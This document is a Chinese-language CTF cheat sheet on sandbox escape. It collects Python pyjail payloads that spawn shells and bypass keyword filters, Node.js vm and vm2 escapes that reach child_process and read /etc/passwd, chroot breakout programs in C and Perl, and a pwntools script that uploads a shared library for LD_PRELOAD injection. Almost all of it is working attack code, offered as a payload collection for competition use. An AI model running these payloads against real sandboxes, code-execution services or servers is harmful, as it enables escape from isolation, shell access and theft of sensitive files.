沙盒逃逸 / 沙箱逃逸 沙箱逃逸,就是在给我们的一个代码执行环境下(Oj或使用socat生成的交互式终端),脱离种种过滤和限制,最终成功拿到shell权限的过程。
Python / Pyjail 内置函数/变量 1 2 3 4 5 6 7 8 9 10 11 12 dir () globals () locals () chr ()/ord () open () input () __import__ () __builtins__ __file__ __class__ __base__ __doc__
模块 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import osos.system('dir' ) os.popen('dir' ).read() import platformplatform.popen('dir' ).read() platform.os.system('dir' ) import timeittimeit.timeit("__import__('os').system('dir')" ) from sys import modulesmodules['os' ].system('sh' ) modules['posix' ].system('sh' ) sys._getframe().f_locals.values()
import 1 2 3 __import__ ('os' ).system('sh' )__builtins__.__dict__['__import__' ]('os' ).system('sh' ) (lambda : __import__ ('os' ).system('sh' ))()
重载模块 / 重新引入 1 2 3 4 5 6 7 8 9 10 11 reload(__builtin__) import impimp.reload(__builtin__) import syssys.modules['os' ]='/usr/lib/python2.7/os.py' execfile('/usr/lib/python2.7/os.py' )
dis模块解析 1 2 3 4 __getattribute__ = (None ).__getattribute__('__class__' ); __getattribute__ = __getattribute__.__getattribute__(__getattribute__, '__base__' ); __getattribute__.__getattribute__(__getattribute__.__getattribute__(__getattribute__.__getattribute__(__getattribute__, '__subclasses__' )()[84 ](), 'load_module' ) ('os' ), 'system' ) ('sh' )
函数调用 / 命令执行 / 交互 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 getattr (__import__ ('os' ),'system' )('dir' )__import__ ('os' ).__getattribute__('system' )('dir' )__import__ ('os' ).__dict__.__getitem__('system' )('dir' )().__class__.__base__.__subclasses__()[-4 ].__init__.__globals__['system' ]('sh' ) ().__class__.__bases__[0 ].__subclasses__()[59 ].__init__.func_globals['linecache' ].__dict__['os' ].__dict__['system' ]('ls' ) ().__class__.__base__.__subclasses__()[137 ].__init__.__globals__['system' ]("sh" ) help () => os => !shhelp () => __main__help () => [filename]breakpoint ()import os__loader__.load_module('_posixsubprocess' ).fork_exec([b"/bin/sh" ], [b"/bin/sh" ], True , (), None , None , -1 , -1 , -1 , -1 , -1 , -1 , *(os.pipe()), False , False , None , None , None , -1 , None )
文件读取 1 2 3 4 5 6 open ('1.txt' ).read()().__class__.__base__.__subclasses__()[40 ]("1.txt" ).read() ().__class__.__bases__[0 ].__subclasses__()[40 ]("1.txt" ).read() "" .__class__.__mro__[-1 ].__subclasses__()[40 ]("1.txt" ).read()
关键字过滤 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 'sys' +'tem' => 'system' 'X19pbXBvcnRfXw==' .decode('base64' ) => '__import__' '' .join(['__imp' ,'ort__' ]) => '__import__' '__tropmi__' [::-1 ] => '__import__' '__imp' +'ort__' => '__import__' '__buihf9ns__' .replace('hf9' ,'ldi' ) => '__buildins__' dir ()[0 ] => '_' eval (chr (95 )+chr (95 )+chr (105 )+chr (109 )+chr (112 )+chr (111 )+chr (114 )+chr (116 )+chr (95 )+chr (95 )+chr (40 )+chr (39 )+chr (111 )+chr (115 )+chr (39 )+chr (41 )) => __import__ ("os" )bytes ([46 , 47 , 102 , 108 , 97 , 103 ]).decode() => './flag' import codecsgetattr (os,codecs.encode("flfgrz" ,'rot13' ))('ifconfig' )exec ("import os;os.system('curl xxx')" )0 =False 1 =True 2 =True +True =True -(-True )3 =True +True +True =True -(-True )-(-True )list (globals ().keys())[11 ]globals ()[list (globals ().keys())[11 ]]chr (123 )str ()'' ,join(['a' ,'b' ])time.sleep(3 ) if open ('/flag' ).read()[0 ]=='c' else 1 flag.index('flag{...' ) type (flag.split())(type (flag.split())(flag).pop({..}).encode()).remove({..})eval (input ())breakpoint () help ()(lambda :os.system('/bin/sh' ))() @exec @input class A : pass
注释逃逸 Python 中的编解码器 raw_unicode_escape
允许Python文件解释Unicode编码的字符,使用 raw_unicode_escape
编码器将 \uxxxx
解释成对应的ASCII字符,比如换行符 \u000a
,这样可以在 Python 的注释中隐藏恶意代码。
参考:
[PyJail] python沙箱逃逸探究·总览
eval变量覆盖 1 2 3 4 5 [[str ][0 ]for [a['test' ]]in [[1 ]]] [[str ][0 ]for [os.environ['test' ]]in [['xxx' ]]]
node.js 前端 在前端中,可能会使用删除 eval
,重写 Function.prototype.constructor
/ GeneratorFunction
/ AsyncFunction
等方式来完成前端的沙箱。在这种情况下,可以使用创建一个新iframe的方式来获取新的执行环境。
服务端 JavaScript提供了原生的vm模块,用于隔离了代码上下文环境。但是在该环境中依然可以访问标准的JavaScript API和全局的NodeJS环境。
在原生的沙箱模块中,常用的逃逸方式为:
1 2 3 4 5 6 7 8 const sandbox = {};const whatIsThis = vm.runInNewContext(` const ForeignObject = this.constructor; const ForeignFunction = ForeignObject.constructor; const process = ForeignFunction("return process")(); const require = process.mainModule.require; require("fs"); ` , sandbox);
一般来说,在Context下运行的代码应该只属于该隔离环境。然而,this 是一个特别的,this 指向runInContext(line, context)
这一句里的context变量,它属于沙盒外,实际上,它是一个{}
。
1 2 3 4 5 6 7 8 9 10 11 this .constructor.constructor('return this.process.binding' )()('fs' ).readdir('/' ,function (err, data ) {data})this .constructor.constructor("return process" )().mainModule.require("fs" ).readFileSync("/etc/passwd" ).toString()" " .toString.constructor("return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()" )()const {spawnSync} = this .constructor.constructor("return process" )().mainModule.require('child_process' ) spawnSync('cat /flag' , [], {stdio : 'inherit' });
考虑到JavaScript原生vm模块的缺陷,有开发者设计了vm2来提供一个更安全的隔离环境,但是在旧版本中同样存在一些逃逸方式,例如:
1 2 3 4 5 vm.runInNewContext( 'Promise.resolve().then(()=>{while(1)console.log("foo", Date.now());}); while(1)console.log(Date.now())' , {console :{log ( ) {console .log.apply(console ,arguments );}}}, {timeout :5 } );
参考 SSTI (Server Side Template Injection)
chroot chroot逃逸的核心是使进程中存在一个文件,处于根目录树之外 。
参考:I’M IN CHROOT JAIL, GET ME OUT OF HERE!
mount 1 2 3 4 mount /dev/sda1 /tmp cd /tmpcd /tmp/bin./cat /tmp/etc/passwd
/proc 1 2 ls /proc/*/root cd /proc/[PID]/root
清空env 查看env可以发现,有个奇怪的变量:LD_PRELOAD=libfakechroot.so
,它是一个用于在用户权限下更改root目录的工具。
只要把这个环境变量给删掉:env LD_PRELOAD=/bash
,就在真正的root中了。
可执行程序 1 2 3 cat << EOF > getmeoutofhere.c [内容] EOF
C
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 #include <stdio.h> #include <errno.h> #include <fcntl.h> #include <string.h> #include <unistd.h> #include <sys/stat.h> #include <sys/types.h> int main () { int x; int dir_fd; mkdir("chroot-breakout-dir" , 0755 ); dir_fd=open("." , O_RDONLY); chroot("chroot-breakout-dir" ); fchdir(dir_fd); close(dir_fd); for (x = 0 ; x < 1024 ; x++) { chdir(".." ); } chroot("." ); system("/bin/sh" ); }
Perl
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 use strict;chdir "/" ;opendir JAILROOT, "." or die "ERROR: Couldn't get file handle to root of jailn" ;mkdir "mysubdir" ;chdir "mysubdir" ;chroot "." ;chdir (*JAILROOT);while ((stat ("." ))[0 ] != (stat (".." ))[0 ] or (stat ("." ))[1 ] != (stat (".." ))[1 ]) { chdir ".." ; } chroot "." ;system ("/bin/sh" );
libc注入 echo -e
可以写入二进制程序,利用 echo -e
上传so文件。利用elf文件动态加载环境变量更换libc,实现libc注入。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import osfrom pwn import *io = remote("xxx" ,xxx) b = open ("./in.so" ).read().encode("hex" ) c = "" for i in range (0 ,len (b),2 ): c += '\\x' +b[i]+b[i+1 ] payload = 'echo -e "' +c+'"' +'> exp' print "[+] length: " + hex (len (payload))io.sendline(payload) io.sendline("LD_PRELOAD=$PWD/exp /bin/sh" ) io.interactive()
1 2 3 4 5 6 7 8 9 10 11 #include <stdio.h> #include <stdlib.h> #include <sys/stat.h> int getchar () { chmod("flag" ,777 ); printf ("%s\n" , "6666666" ); } #gcc -shared -fPIC in.c -o in.so #LD_PRELOAD=$PWD/in.so /bin/sh